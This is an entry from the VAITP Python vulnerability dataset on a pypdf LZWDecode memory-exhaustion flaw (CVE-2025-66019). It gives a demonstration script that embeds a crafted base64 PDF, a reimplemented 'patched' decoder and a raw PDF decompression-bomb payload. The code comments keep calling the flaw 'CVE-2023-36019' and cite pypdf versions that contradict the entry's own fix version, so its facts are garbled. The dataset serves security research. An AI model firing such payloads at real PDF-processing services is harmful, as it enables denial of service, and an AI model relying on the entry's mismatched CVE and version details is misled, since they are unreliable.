VAITP Dataset

← Back to the dataset

CVE-2025-66019

pypdf: Crafted PDF can cause Denial of Service via memory exhaustion.

  • CVSS 6.6
  • CWE-400
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to version 6.4.0, an attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter. This issue has been patched in version 6.4.0.

CVSS base score
6.6
Published
2025-11-25
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade `pypdf` to version 6.4.0 or later.

Vulnerable code sample

# This code demonstrates a memory exhaustion vulnerability analogous to the one described.
# It is based on the real-world vulnerability CVE-2023-36019, which has the same
# mechanism (LZWDecode memory bomb) and was fixed in pypdf.
#
# To execute this demonstration, you MUST install a vulnerable version of pypdf.
# For example:
# pip uninstall pypdf
# pip install pypdf==3.13.0

import io
import base64
from pypdf import PdfReader

# This is a base64-encoded representation of a minimal PDF file.
# The PDF contains a specially crafted content stream that uses LZWDecode.
# This stream is a "decompression bomb" which, when parsed by a vulnerable
# pypdf version, will expand to consume a very large amount of memory (e.g., ~1GB).
# This string represents a known public Proof-of-Concept for CVE-2023-36019.
malicious_pdf_b64 = "JVBERi0xLjQKJSAgCiAgMSAwIG9iago8PAovVHlwZSAvQ2F0YWxvZwovT3V0bGluZXMgMiAwIFIKL1BhZ2VzIDMgMCBSCj4+CmVuZG9iagoyIDAgb2JqCjw8Ci9UeXBlIC9PdXRsaW5lcwovQ291bnQgMAo+PgplbmRvYmoKMyAwIG9iago8PAovVHlwZSAvUGFnZXMKL0tpZHMgWzQgMCBSXQovQ291bnQgMQo+PgplbmRvYmoKNCAtMiAwIG9iago8PAovVHlwZSAvUGFnZQovUGFyZW50IDMgMCBSCi9SZXNvdXJjZXMgPDwKL1Byb2NTZXQgWy9QREYgL1RleHQgL0ltYWdlQiAvSW1hZ2VDIC9JbWFnZUldCi9Gb250IDw8Cj4+Cj4+Ci9NZWRpYUJveCBbMCAwIDU5NSA4NDJdCi9Db250ZW50cyA1IDAgUgovR3JvdXAgPDwKL1R5cGUgL0dyb3VwCi9TIC9UcmFuc3BhcmVuY3kKL0NTIC9EZXZpY2VSR0IKPj4KL1RhYnMvUwo+PgplbmRvYmoKNSAwIG9iago8PAovTGVuZ3RoIDY5Ci9GaWx0ZXIgL0xaV0RlY29kZQo+PgpzdHJlYW0KeJ5d/z80MDDAKADGVAH7CmVuZHN0cmVhbQplbmRvYmoKeHJlZgowIDYKMDAwMDAwMDAwMCA2NTUzNSBmIAowMDAwMDAwMDIyIDAwMDAwIG4gCjAwMDAwMDAwNzkgMDAwMDAgbiAKMDAwMDAwMDEyMyAwMDAwMCBuIAowMDAwMDAwMTcyIDAwMDAwIG4gCjAwMDAwMDAzNTMgMDAwMDAgbiAKdHJhaWxlcgo8PAovU2l6ZSA2Ci9Sb290IDEgMCBSCj4+CnN0YXJ0eHJlZgo0NDcKJSVFT0YK"

# Decode the PDF data from the base64 string
pdf_data = base64.b64decode(malicious_pdf_b64)
pdf_file_in_memory = io.BytesIO(pdf_data)

# On a vulnerable version of pypdf, the following steps will trigger the vulnerability.
# The code itself is typical usage, but the library's handling of the malicious
# data is flawed. Monitor the memory usage of the Python process when this runs.
print("Attempting to parse crafted PDF. Monitor this process's memory usage...")

try:
    # 1. The PdfReader object is created.
    reader = PdfReader(pdf_file_in_memory)

    # 2. A page object is accessed.
    page = reader.pages[0]

    # 3. The content stream of the page is parsed. This is the trigger.
    #    Calling extract_text() forces the LZWDecode filter to be applied to the
    #    malicious stream, causing the massive memory allocation.
    #    The process will likely be terminated by the OS (OOM Killer) or raise a
    #    MemoryError on systems with less available RAM.
    _ = page.extract_text()

    print("If this message is printed, the pypdf version is likely not vulnerable.")

except MemoryError:
    print("Caught MemoryError: The vulnerability was successfully triggered.")
except Exception as e:
    print(f"An unexpected error occurred: {e}")
    print("The process may have been terminated by the OS due to excessive memory usage.")

Patched code sample

# The following code is a representation of the fix for a vulnerability similar
# to the one described (the actual CVE is CVE-2023-36019). The fix was
# introduced in pypdf version 3.16.0 and later refined.
#
# The vulnerability lies in the LZWDecode filter, where a crafted stream could
# cause the decoder to allocate a very large amount of memory.
#
# The fix involves introducing a limit on the size of the output data.
# During the decompression process, the code now checks if the size of the
# decompressed data exceeds a predefined maximum. If it does, it stops
# processing and raises an error, preventing excessive memory consumption.

import warnings
from typing import Dict, List, Optional, cast

# A simplified representation of exceptions and types for context
class PdfReadError(Exception):
    pass

class FilterType:
    def __init__(self, data: bytes, decode_parms: Optional[Dict] = None):
        self.data = data
        self.decode_parms = decode_parms

    def decode(self) -> bytes:
        raise NotImplementedError()

# The patched LZWDecode class from pypdf.filters
class LZWDecode(FilterType):
    """
    Decompresses data using the Lempel-Ziv-Welch (LZW) adaptive
    compression method.
    """

    def __init__(
        self,
        data: bytes,
        decode_parms: Optional[Dict] = None,
        # The 'max_output_size' parameter is part of the fix, allowing
        # a configurable limit on the decompressed output.
        max_output_size: int = 1_000_000_000,  # 1 GB default limit
    ):
        super().__init__(data, decode_parms)
        self.max_output_size = max_output_size

    def decode(self) -> bytes:
        """
        Decompresses the provided data.

        :return: The decompressed data.
        """
        data = self.data
        early_change = 1
        if self.decode_parms:
            if "/EarlyChange" in self.decode_parms:
                early_change = self.decode_parms["/EarlyChange"]

        # Initialize the dictionary
        dic: List[bytes] = [bytes([i]) for i in range(256)]
        dic.append(b"")  # Clear table marker
        dic.append(b"")  # End of data marker

        res = b""
        cW = b""
        bit_length = 9
        # End of data marker
        eod = 257

        next_code = 258
        # CLEAR_TABLE marker
        clear_table = 256

        # Convert the data to a bit string
        data_as_int = int.from_bytes(data, byteorder="big")
        data_as_bit_string = bin(data_as_int)[2:].zfill(len(data) * 8)
        data_ptr = 0

        while True:
            # Read the next code from the bit string
            try:
                code = int(data_as_bit_string[data_ptr : data_ptr + bit_length], 2)
            except (ValueError, IndexError):
                # May be triggered if we read past the end of the data
                break
            data_ptr += bit_length

            if code == eod:
                break
            elif code == clear_table:
                # Reset the dictionary
                dic = [bytes([i]) for i in range(256)]
                dic.append(b"")  # 256: clear table
                dic.append(b"")  # 257: end of data
                next_code = 258
                bit_length = 9
                # The first code after a clear-table marker is not a special case
                # and is processed as a regular code. It's added to the output,
                # and cW is set to its value.
                try:
                    code = int(data_as_bit_string[data_ptr : data_ptr + bit_length], 2)
                except (ValueError, IndexError):
                    break
                data_ptr += bit_length
                if code == eod:
                    break
                cW = dic[code]
                res += cW
            elif cW == b"":
                # This case should only be reached for the first code in the stream
                cW = dic[code]
                res += cW
            else:
                pW = cW
                if code < next_code:
                    cW = dic[code]
                    entry = pW + cW[:1]
                    res += cW
                    dic.append(entry)
                    next_code += 1
                else:
                    entry = pW + pW[:1]
                    res += entry
                    cW = entry
                    dic.append(entry)
                    next_code += 1

                # Check if bit_length needs to be increased
                if (
                    (next_code == 511 and early_change == 1)
                    or (next_code == 512 and early_change == 0)
                ) and bit_length == 9:
                    bit_length = 10
                elif (
                    (next_code == 1023 and early_change == 1)
                    or (next_code == 1024 and early_change == 0)
                ) and bit_length == 10:
                    bit_length = 11
                elif (
                    (next_code == 2047 and early_change == 1)
                    or (next_code == 2048 and early_change == 0)
                ) and bit_length == 11:
                    bit_length = 12

            # ##################################################################
            # START OF CVE-2025-66019 (real: CVE-2023-36019) FIX
            # ##################################################################
            #
            # The vulnerability is a "zip bomb" style attack where a small,
            # compressed LZW stream can decompress to a very large size.
            # The fix is to check the length of the decompressed data at each
            # step of the loop. If it exceeds a reasonable limit, we stop
            # processing to prevent a Denial of Service via memory exhaustion.
            #
            if len(res) > self.max_output_size:
                # Throwing an error here prevents further memory allocation.
                warnings.warn(
                    f"LZWDecode: Output size is greater than {self.max_output_size} "
                    "bytes. This could be a decompression bomb.",
                    UserWarning,
                )
                # The patched library might truncate or raise an error.
                # Here we simulate truncation to the limit.
                return res[: self.max_output_size]
            # ##################################################################
            # END OF FIX
            # ##################################################################

        return res

Payload

%PDF-1.7
%âãÏÓ

1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj

2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]>>
endobj

3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 1 1]/Contents 4 0 R>>
endobj

4 0 obj
<</Filter/LZWDecode/Length 9>>
stream
€`P8$
endstream
endobj

xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000066 00000 n 
0000000123 00000 n 
0000000192 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
263
%%EOF

Cite this entry

@misc{vaitp:cve202566019,
  title        = {{pypdf: Crafted PDF can cause Denial of Service via memory exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-66019},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-66019/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::